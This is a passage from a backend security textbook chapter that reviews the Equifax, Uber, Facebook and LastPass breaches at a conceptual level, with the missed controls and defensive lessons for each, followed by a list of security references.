What happened: Attackers exploited a known vulnerability (CVE-2017-5638) in Apache Struts, a Java web framework Equifax used. The vulnerability allowed attackers to execute arbitrary OS commands via a specially crafted HTTP header. A patch had been available for two months before the breach. Equifax had not applied it.
What was missed:
- No automated dependency vulnerability scanning in CI/CD.
- No process for urgently patching critical CVEs.
- Internal network not segmented, attackers moved laterally and accessed 48 additional databases once inside.
- SSL inspection was disabled due to an expired internal certificate, malicious traffic went undetected for 76 days.
Lesson: Keep dependencies updated. Run automated CVE scans (dependabot, snyk, nancy) on every build. Apply critical security patches within 24-72 hours.
(2) Uber (2022): Secrets in Code + Social Engineering
What happened: An 18-year-old attacker used MFA fatigue (bombarding an Uber contractor with push notifications until they accepted one) to gain initial access. They then found a PowerShell script on an internal network share that contained hardcoded admin credentials for Uber’s Privileged Access Management (PAM) tool. With those credentials, they had access to virtually everything.
What was missed:
- Hardcoded secrets in a script on an internal share, not in a secrets manager.
- No MFA-resistant authentication (hardware keys / passkeys) for privileged access.
- MFA push fatigue not mitigated (no number-matching, no rate limit on push attempts).
- Over-privileged contractor access, too much lateral movement possible from one compromised account.
Lesson: Secrets belong in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler), never in scripts, config files, or chat messages. Use phishing-resistant MFA (hardware keys) for admin access. Apply least-privilege everywhere.
(3) Facebook (2018): Broken Authorization (Access Token Theft)
What happened: The “View As” feature let users see their profile as another user would see it. A bug in this feature caused it to incorrectly generate a video uploader component with a live access token, belonging to the user being viewed, not the viewer. Three compounding bugs created this flaw:
- Video uploader was incorrectly shown in “View As” mode.
- The uploader generated an access token for the wrong user (the viewed user, not the viewer).
- The access token had full account permissions instead of limited scope.
Lesson: Authorization is hard to test manually at scale. The BOLA principle applies: verify ownership at every data access point. Use short-lived, minimally-scoped tokens. Build automated tests specifically for authorization boundaries.
(4) LastPass (2022): Developer Machine Compromise -> Production Data
What happened: Attackers first compromised a DevOps engineer’s home computer by exploiting a vulnerable media software package (Plex). That machine had access to the LastPass cloud backup environment. Through that single developer machine, attackers exfiltrated:
- Encrypted customer password vaults (the crown jewels)
- Customer metadata (email, billing address, IP addresses)
- Cloud infrastructure configuration and secrets
What was missed:
- Developer machines should not have direct access to production backup environments, use bastion hosts and just-in-time access.
- Personal machines used for work should be enrolled in MDM (Mobile Device Management) with security policies enforced.
- Vault encryption used PBKDF2 with low iteration counts, weaker master passwords are crackable offline.
- No anomaly detection on the unusual volume of data being exfiltrated.
Lesson: The supply chain is part of your attack surface. A developer’s home laptop is part of your security perimeter. Segment production access. Monitor for anomalous data exfiltration. Use hardware security keys for production access.
Common Thread Across All Four
20
References & Further Reading
PortSwigger Web Security Academy OWASP Top 10 OWASP Cheat Sheet Series OWASP Authentication Cheat Sheet OWASP Session Management OWASP SQL Injection Prevention Lucia Auth (secure auth patterns) jwt.io (JWT debugger) Gitleaks (secret scanner) Go argon2 package Python argon2-cffi MDN, Content Security Policy MDN, HTTP Cookies OAuth 2.0 Spec OIDC Overview Go OIDC Library SSL Labs TLS Tester Caddy Automatic HTTPS Burp Suite Community gosec (Go static analysis) CVE-2017-5638 (Equifax) Uber 2022 Breach Report LastPass Breach Notice
Backend Field Manual / Backend Security / Chapter 17 (Extended)
Backend from First Principles / Chapter 17 / Security. Code targets Go 1.22+, Python 3.11+, Node.js 20+, TypeScript 5+ and Java 17+ (Spring Boot).